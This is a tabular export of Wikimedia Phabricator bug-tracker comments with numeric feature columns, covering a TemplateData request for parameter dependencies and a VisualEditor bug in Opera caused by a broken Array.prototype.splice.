fooX_bar required fooX_baz to be used as well, it doesn't require fooX_quux to be used, but if fooX_quux is used, then fooX_bar must have been defined as well

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1372464000,,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-2xs7662hh3qdt5fonxnb,task_description,open,True,c1,2,False,False,,-1,,0.0,0.0,0.0,4.0,1.0,2.0,0.5,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.5,0.0,6.0,5.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,4.5,3.5,1.0,1.0,1.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,1.5,5.0,1.5,0.0,6.0,0.0,1.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,3.7172549019607843,0.6237254901960785,"Add a way to mark a parameter to be dependent on an other paramter. For example :
We have following parameters:
""foo1_bar"", ""foo1_baz"", ""foo1_quux"" 
...
 ""fooN_bar"", ""fooN_baz"", ""fooN_quux""

fooX_bar required fooX_baz to be used as well, it doesn't require fooX_quux to be used, but if fooX_quux is used, then fooX_bar must have been defined as well

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1609624,TemplateData: Add a way to express dependencies between parameters,"The previous comments don't explain who or what (task?) exactly this task is stalled on ([""If a report is waiting for further input (e.g. from its reporter or a third party) and can currently not be acted on""](https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle)). Hence resetting task status, as tasks should not be stalled (and then potentially forgotten) for years for unclear reasons.

//(Smallprint, as general orientation for task management:
If you wanted to express that nobody is currently working on this task, then the assignee should be removed and/or priority could be lowered instead.
If work on this task is blocked by another task, then that other task should be added via {nav name=Edit Related Tasks... > Edit Subtasks}.
If this task is stalled on an upstream project, then the #upstream tag should be added.
If this task requires info from the task reporter, then there should be instructions which info is needed.
If this task needs retesting, then the #testme tag should be added.
If this task is out of scope and nobody should ever work on this, or nobody else managed to reproduce the situation described here, then it should have the ""Declined"" status.
If the task is valid but should not appear on some team's workboard, then the team project tag should be removed while the task has another active project tag.)//",,,1604270588,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,True,,,382,,0.3333333333333333,0.0,0.0,4.0,1.3333333333333333,3.6666666666666665,0.6666666666666666,0.0,0.0,2.6666666666666665,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,7.666666666666667,10.333333333333334,1.0,0.6666666666666666,3.6666666666666665,0.3333333333333333,0.0,1.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,4.333333333333333,0.6666666666666666,0.6666666666666666,2.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,15.666666666666666,0.3333333333333333,3.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,2.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,4.666666666666667,6.0,5.333333333333333,3.3333333333333335,2.6666666666666665,9.0,0.0,0.0,0.0,0.6666666666666666,5.333333333333333,0.0,0.0,0.0,1.0,10.333333333333334,1.3333333333333333,0.3333333333333333,1.0,0.0,1.0,0.0,1.0,1.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,4.03370786516854,0.6554307116104868,"The previous comments don't explain who or what (task?) exactly this task is stalled on ([""If a report is waiting for further input (e.g. from its reporter or a third party) and can currently not be acted on""](URL Hence resetting task status, as tasks should not be stalled (and then potentially forgotten) for years for unclear reasons.

//(Smallprint, as general orientation for task management:
If you wanted to express that nobody is currently working on this task, then the assignee should be removed and/or priority could be lowered instead.
If work on this task is blocked by another task, then that other task should be added via {nav name=Edit Related Tasks... > Edit Subtasks}.
If this task is stalled on an upstream project, then the #upstream tag should be added.
If this task requires info from the task reporter, then there should be instructions which info is needed.
If this task needs retesting, then the #testme tag should be added.
If this task is out of scope and nobody should ever work on this, or nobody else managed to reproduce the situation described here, then it should have the ""Declined"" status.
If the task is valid but should not appear on some team's workboard, then the team project tag should be removed while the task has another active project tag.)//"
595840,TemplateData: Add a way to express dependencies between parameters,,,,1453561129,,PHID-USER-25bxvdt2svnidzfzjpk7,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,133,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
595839,TemplateData: Add a way to express dependencies between parameters,,,,1453561068,,PHID-USER-25bxvdt2svnidzfzjpk7,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,133,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
523747,TemplateData: Add a way to express dependencies between parameters,"Well, I have another case: In German Wikipedia we have Template:Charteintrag, where not only such dependencies are required (eg if “POS_xy” then also “WO_xy”), but even the parameter names depend heavily on earlier added parameters. If I enter 1=x and 2=y, the possible parameters following are POS_x (with WO_x) and POS_y (with WO_y), but of course not eg POS_z! At the moment TemplateData is totally useless with this template, I fear.",,,1441831007,,PHID-USER-zrh22rct2jo5hs6nu67r,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,114,,0.0,0.0,1.0,1.0,2.0,4.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,20.0,3.0,4.0,5.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,4.0,9.0,9.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,2.0,3.783505154639175,0.7216494845360825,"Well, I have another case: In German Wikipedia we have Template:Charteintrag, where not only such dependencies are required (eg if “POS_xy” then also “WO_xy”), but even the parameter names depend heavily on earlier added parameters. If I enter 1=x and 2=y, the possible parameters following are POS_x (with WO_x) and POS_y (with WO_y), but of course not eg POS_z! At the moment TemplateData is totally useless with this template, I fear."
237343,TemplateData: Add a way to express dependencies between parameters,"[Moved from bug 60358 discussion.]

(In reply to Helder from bug 60358 comment #10)
> (In reply to James Forrester from bug 60358 comment #9)
> > (In reply to Helder from bug 60358 comment #8)
> > > (In reply to James Forrester from bug 60358 comment #6)
> > > > (In reply to Ricordisamoa from bug 60358 comment #5)
> > > > > or a set of fields may be mutually exclusive (and yet one of them would
> > > > > be required).
> > > > 
> > > > That doesn't make sense. ""Required"" means ""the template will die horribly if
> > > > you don't include this"". It is *not* a ""we'd like you to fill this in"" –
> > > > that's what ""suggested"" is for. Most templates will have no 'required'
> > > > fields.
> > > 
> > > It seems perfectly valid for a template to require that ""either A or B be
> > > provided"" and the user should be able to delete one of them if it is not
> > > needed.
> > 
> > This feels like a pretty edge case (and suggests that we should consider
> > whether the template should be re-written to be less anti-human); maybe file
> > a TemplateData bug to ask for a way to express this relationship?
> 
> This kind of relationship between parameters was requested on bug 50407.

Well, as I see it, this bug only asks for param-level relationships – if A also B; if C not D; etc.

Should we extend it for shared-param relationships (exactly one of A, B and C are required; D is an alias for E if F is set but is an alias for G if F is not set; …), or should we create a new bug? (BTW, this feels like a potentially ever-expanding system could be created, and we'd probably say this adds too much complexity for the value.)",,,1409778173,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,True,,,61,,0.5,0.0,0.0,2.0,1.0,1.0,1.0,0.0,0.0,2.0,1.0,0.5,0.0,0.5,0.0,2.0,0.0,5.5,8.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,5.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.5,3.5,20.5,2.0,2.0,5.0,0.0,0.0,0.0,0.5,2.0,0.0,2.0,0.0,3.0,8.5,14.0,0.5,0.0,0.0,3.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,1.5,3.0897627965043695,0.5984394506866417,"[Moved from bug 60358 discussion.]

(In reply to Helder from bug 60358 comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well, as I see it, this bug only asks for param-level relationships – if A also B; if C not D; etc.

Should we extend it for shared-param relationships (exactly one of A, B and C are required; D is an alias for E if F is set but is an alias for G if F is not set; …), or should we create a new bug? (BTW, this feels like a potentially ever-expanding system could be created, and we'd probably say this adds too much complexity for the value.)"
237337,TemplateData: Add a way to express dependencies between parameters,"Change 73708 abandoned by Krinkle:
Add depends and conflicts parameters

Reason:
Closing for now to clear review backlog. Can be re-activated when the feature request is accepted.

https://gerrit.wikimedia.org/r/73708",,,1404942538,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,53,,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,8.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,18.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.421052631578948,0.8947368421052632,"Change 73708 abandoned by Krinkle:
Add depends and conflicts parameters

Reason:
Closing for now to clear review backlog. Can be re-activated when the feature request is accepted.

GERRIT_URL"
237330,TemplateData: Add a way to express dependencies between parameters,"at en.wp a user has given the example of [[template:for]] where parameter 3 is optional unless parameter 4 is specified, when it becomes mandatory.

They expected that VisualEditor would give them a warning about using parameter 4 without parameter 3. Obviously this is not possible until TemplateData can define such relationships.",,,1377689591,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,2.0,2.0,6.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,5.0,13.0,6.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,2.0,2.0,0.0,0.0,3.0,4.564516129032258,0.8064516129032258,"at en.wp a user has given the example of [[template:for]] where parameter 3 is optional unless parameter 4 is specified, when it becomes mandatory.

They expected that VisualEditor would give them a warning about using parameter 4 without parameter 3. Obviously this is not possible until TemplateData can define such relationships."
237323,TemplateData: Add a way to express dependencies between parameters,"(In reply to comment #3)
> Note that as for a parameter ""going together with"" other parameters, this is
> what a ""Set"" is for.
> 
> Though Sets are merely suggestive and allow for overlap, it us a lot easier
> to
> work with from a user interface perspective.
Set doesn't make any sense for parameters like ""author1, author2, ..., authorN""
> 
> Though TemplateData is generic and should not be tailored specific for
> VisualEditor, right now I'd recommend we hold off on this change until we
> find
""depends"" and ""conflicts"" are pretty much not tailored for VE at all (Though I could agree, sets are).
> out and/or verify that this can be properly represented in a user interface
> without making it too complex.
The most important thing is that common templates can be modeled correctly without ending up with too many false choices, or hiding true choices because they couldn't be modeled correctly.",,,1373912959,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,2,,3.0,0.0,0.0,2.0,2.5,4.5,1.0,1.0,1.0,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,9.5,9.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,3.5,0.5,0.0,2.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,4.0,11.5,2.5,1.5,1.5,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,2.0,9.0,6.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,3.633928571428571,0.6696428571428572,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Set doesn't make any sense for parameters like ""author1, author2, ..., authorN""
QUOTE
QUOTE
QUOTE
QUOTE
""depends"" and ""conflicts"" are pretty much not tailored for VE at all (Though I could agree, sets are).
QUOTE
QUOTE
The most important thing is that common templates can be modeled correctly without ending up with too many false choices, or hiding true choices because they couldn't be modeled correctly."
237315,TemplateData: Add a way to express dependencies between parameters,"Note that as for a parameter ""going together with"" other parameters, this is what a ""Set"" is for.

Though Sets are merely suggestive and allow for overlap, it us a lot easier to work with from a user interface perspective.

Though TemplateData is generic and should not be tailored specific for VisualEditor, right now I'd recommend we hold off on this change until we find out and/or verify that this can be properly represented in a user interface without making it too complex.",,,1373912431,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,2.0,1.0,6.0,3.0,0.0,2.0,0.0,2.0,1.0,0.0,1.0,0.0,4.0,0.0,7.0,20.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,11.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,6.0,8.0,4.0,3.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,20.0,3.0,0.0,4.0,0.0,6.0,0.0,1.0,5.0,1.0,2.0,1.0,0.0,0.0,4.166666666666667,0.7083333333333334,"Note that as for a parameter ""going together with"" other parameters, this is what a ""Set"" is for.

Though Sets are merely suggestive and allow for overlap, it us a lot easier to work with from a user interface perspective.

Though TemplateData is generic and should not be tailored specific for VisualEditor, right now I'd recommend we hold off on this change until we find out and/or verify that this can be properly represented in a user interface without making it too complex."
237309,TemplateData: Add a way to express dependencies between parameters,"Change 73708 had a related patch set uploaded by AzaToth:
Add depends and conflicts parameters

https://gerrit.wikimedia.org/r/73708",,,1373830886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.894736842105263,1.0,"Change 73708 had a related patch set uploaded by AzaToth:
Add depends and conflicts parameters

GERRIT_URL"
237303,TemplateData: Add a way to express dependencies between parameters,See also [[User:קיפודנחש/TemplateParamWizard#Depends on]].,,,1372589692,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.230769230769231,0.8461538461538461,See also [[User:קיפודנחש/TemplateParamWizard#Depends on]].
52385,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"https://en.wikipedia.org/w/index.php?title=Stand-your-ground_law&diff=562005779&oldid=561464750 is a good example (hat-tip to MatMaRex)

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50120",Low,25.0,1372445760,1374519751.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-poawg73ix2eh7lpylhyd,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1,0.575,"URL is a good example (hat-tip to MatMaRex)

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
236136,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),Done and will be deployed tomorrow.,,,1374634250,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
236133,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),This should be fixed now. Rejoice!,,,1374519751,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,This should be fixed now. Rejoice!
236129,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"Change 72233 merged by jenkins-bot:
Array.prototype.splice polyfill for Opera

https://gerrit.wikimedia.org/r/72233",,,1374518403,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.466666666666667,1.0,"Change 72233 merged by jenkins-bot:
Array.prototype.splice polyfill for Opera

GERRIT_URL"
236125,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"Change 72233 had a related patch set uploaded by Matmarex:
Array.prototype.splice polyfill for Opera

https://gerrit.wikimedia.org/r/72233",,,1373066976,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.555555555555555,1.0,"Change 72233 had a related patch set uploaded by Matmarex:
Array.prototype.splice polyfill for Opera

GERRIT_URL"
236121,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"function testSpliceBroken() {
	var n = 256;
	var a = [];
	a[n] = 'a';
	
	a.splice( n+1, 0, 'b' );
	
	return a[n] != 'a';
};

This yields 'true' on Opera.

That's probably the bizarrest browser bug I've ever seen, and it seems to be the root cause of this.",,,1373052337,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,1.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,5.0,0.0,1.0,8.0,0.0,0.0,1.0,0.0,2.0,0.0,2.0,0.0,4.0,4.0,12.0,0.0,10.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.5714285714285716,0.6309523809523809,"function testSpliceBroken() {
	var n = 256;
	var a = [];
	a[n] = 'a';
	
	a.splice( n+1, 0, 'b' );
	
	return a[n] != 'a';
};

This yields 'true' on Opera.

That's probably the bizarrest browser bug I've ever seen, and it seems to be the root cause of this."
236115,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"Funnily, my testing shows that the categories are only moved inside the reference if it contains a template. Inserting an empty or text-only reference results in the cateogires eing killed entirely.",,,1373035435,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,6.0,6.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.666666666666667,0.8611111111111112,"Funnily, my testing shows that the categories are only moved inside the reference if it contains a template. Inserting an empty or text-only reference results in the cateogires eing killed entirely."
236109,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"Eh, it seems to be Opera-specific after all, I can't reproduce on Firefox (but it reproduces reliably in Opera).",,,1372504054,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,2,True,,,-1,,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,15.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,11.0,11.0,7.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4814814814814814,0.8888888888888888,"Eh, it seems to be Opera-specific after all, I can't reproduce on Firefox (but it reproduces reliably in Opera)."
